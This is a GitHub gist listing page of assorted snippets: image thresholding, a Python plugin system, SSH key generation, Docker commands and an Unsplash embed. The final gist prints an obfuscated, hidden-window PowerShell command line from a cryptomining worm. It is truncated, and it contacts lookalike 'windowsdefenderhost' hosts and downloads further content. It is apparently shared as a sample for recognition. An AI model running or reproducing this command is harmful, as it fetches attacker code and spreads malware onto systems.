Skip to content

Instantly share code, notes, and snippets.

@bazub
bazub / gist:3877971
Created October 12, 2012 08:17
Grayscale/Binary images using PIL
im=Image.open("1.jpg")
#im=im.rotate(1)
im.save("e.jpg")
im2=im.convert("L")
im2.save("b.jpg")
threshold = 100
im = im2.point(lambda p: p > threshold and 255)
im.save("d.jpg")
img="d.jpg"
result = tesseract.ProcessPagesWrapper(img,api)
@will-hart
will-hart / plugin.py
Created July 1, 2013 09:36
A simple python plugin system using a custom metaclass
# a simple Python plugin loading system
# see http://stackoverflow.com/questions/14510286/plugin-architecture-plugin-manager-vs-inspecting-from-plugins-import
class PluginMount(type):
"""
A plugin mount point derived from:
http://martyalchin.com/2008/jan/10/simple-plugin-framework/
Acts as a metaclass which creates anything inheriting from Plugin
"""
@grenade
grenade / 01-generate-ed25519-ssh-key.sh
Last active June 18, 2024 05:42
generate ed25519 ssh and gpg/pgp keys and set file permissions for ssh keys and config
#!/bin/bash
# generate new personal ed25519 ssh key
ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519 -C "rob thijssen <rthijssen@gmail.com>"
# generate new host cert authority (host_ca) ed25519 ssh key
# used for signing host keys and creating host certs
ssh-keygen -t ed25519 -f manta_host_ca -C manta.network
eval "$(ssh-agent -s)"
@mitchwongho
mitchwongho / Docker
Last active June 26, 2024 07:28
Docker 'run' command to start an interactive BaSH session
# Assuming an Ubuntu Docker image
$ docker run -it <image> /bin/bash
@ftiasch
ftiasch / server.py
Created August 13, 2015 09:52
python SimpleHTTPServer with custom MIME types
import SimpleHTTPServer
import SocketServer
PORT = 8000
class Handler(SimpleHTTPServer.SimpleHTTPRequestHandler):
pass
Handler.extensions_map['.shtml'] = 'text/html'
@jay-johnson
jay-johnson / Restart Docker Engine
Created July 15, 2016 06:18
Restart Docker Engine
sudo service docker restart
@7rin0
7rin0 / gist:ea890d2d4bf25a890b86aff01290e7d0
Created March 3, 2017 01:52
Docker exec root or default user
# Root.
$ docker exec -u 0 i -t {container_id/image_name} bash
or
# Default container's user.
$ docker exec i -t {container_id/image_name} bash
@tadast
tadast / Paint slack black.md
Last active July 14, 2023 04:00
Update the Mac Desktop slack CSS

In the console

export SLACK_DEVELOPER_MENU=true
open /Applications/Slack.app

In slack UI

right-click on anything -> inspect element

@spetrey
spetrey / embed-unsplash-photos.php
Created September 10, 2017 20:51
Embed your Unsplash photos with this easy-bake PHP snippet.
<?php
// The Unsplash API URL that we want to GET.
// Get YOUR_APPLICATION_ID here:
// https://unsplash.com/developers
$url = 'https://api.unsplash.com/users/smpetrey/photos/?client_id=YOUR_APPLICATION_ID';
// Use file_get_contents to GET the URL in question.
// the True parameter makes this array as associative.
$contents = json_decode(file_get_contents($url), TRUE);
@galabadi
galabadi / Powershell crypto worm commandlines
Created May 23, 2018 13:20
Powershell crypto worm commandlines
powershell.exe -NoP -NonI -W Hidden -E JABzAGUAPQBAACgAJwAxADkANQAuADIAMgAuADEAMgA3AC4AOQAzACcALAAnAHUAcABkAGEAdABlAC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbAB1AGIAJwAsACcAaQBuAGYAbwAuAHcAaQBuAGQAbwB3AHMAZABlAGYAZQBuAGQAZQByAGgAbwBzAHQALgBjAGwAdQBiACcAKQAKACQAbgBpAGMAPQAnAHcAdwB3AC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbAB1AGIAJwAKAGYAbwByAGUAYQBjAGgAKAAkAHQAIABpAG4AIAAkAHMAZQApAAoAewAKACAAIAAgACAAJABwAGkAbgA9AHQAZQBzAHQALQBjAG8AbgBuAGUAYwB0AGkAbwBuACAAJAB0AAoACgAgACAAIAAgAGkAZgAgACgAJABwAGkAbgAgAC0AbgBlACAAJABuAHUAbABsACkACgAgACAAIAAgAHsACgAgACAAIAAgACAAIAAgACAAJABuAGkAYwA9ACQAdAAKACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsACgAgACAAIAAgAH0ACgB9AAoAJABuAGkAYwA9ACQAbgBpAGMAKwAiADoAOAAwADAAMAAiAAoAJAB2AGUAcgA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAkAG4AaQBjAC8AdgBlAHIALgB0AHgAdAAiACkALgBUAHIAaQBtACgAKQAgAAoAaQBmACgAJAB2AGUAcgAgAC0AbgBlACAAJABuAHUAbABsACkAewAgAAoAIAAgACAAIABpAGYAKAAkAHY